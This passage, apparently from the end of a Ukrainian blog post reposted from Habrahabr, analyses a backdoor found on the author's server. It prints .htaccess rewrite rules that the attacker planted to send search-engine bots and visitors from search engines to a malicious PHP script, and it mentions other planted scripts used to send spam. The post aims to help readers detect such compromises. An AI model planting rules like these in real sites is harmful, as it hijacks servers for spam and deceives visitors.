RewriteCond %{ENV:REDIRECT_STATUS} 200
RewriteRule ^ - [L]
RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing [OR]
RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing
RewriteRule ^(.*)$ bootlegger-limiter.php?$1 [L]

Тут відбувається найголовніше, перенаправлення ботів і людей з пошукачів вище розібраний скрипт. 2-я і 3-я рядка кажуть що треба зупинитися після першого вдалого застосування правил. А наступні рядки власне і визначають правила для ботів і пошукачів і перенаправляють їх на bootlegger-limiter.php.

Що стосується двох інших скриптів enthusiasms-raw.php та equaling-intangibles.php, то вони абсолютно однакові й призначені, судячи по функції mail для розсилки спаму.

Висновок
Ось таким нехитрим чином зловмисник може скористатися вашим сервером і ви, можливо, як і я навіть не помітите цього. Варто зазначити, що на цьому сервері у мене не зберігається нічого важливого і тому в нього я заглядаю дуже рідко. Але навіть якщо б і частіше заглядав, то нічого не підозрюючи, може і не помітив би пару зайвих файлів.

В коментарях можете розказати про ваших способи боротьби з подібними атаками, думаю багатьом це буде цікаво.

Сподіваюся, мій досвід виявиться корисним, а ви в черговий раз перевірити свої сервери на наявність таких от простих бекдорів. Дякую за увагу.

Джерело: Хабрахабр

0 коментарів

Тільки зареєстровані та авторизовані користувачі можуть залишати коментарі.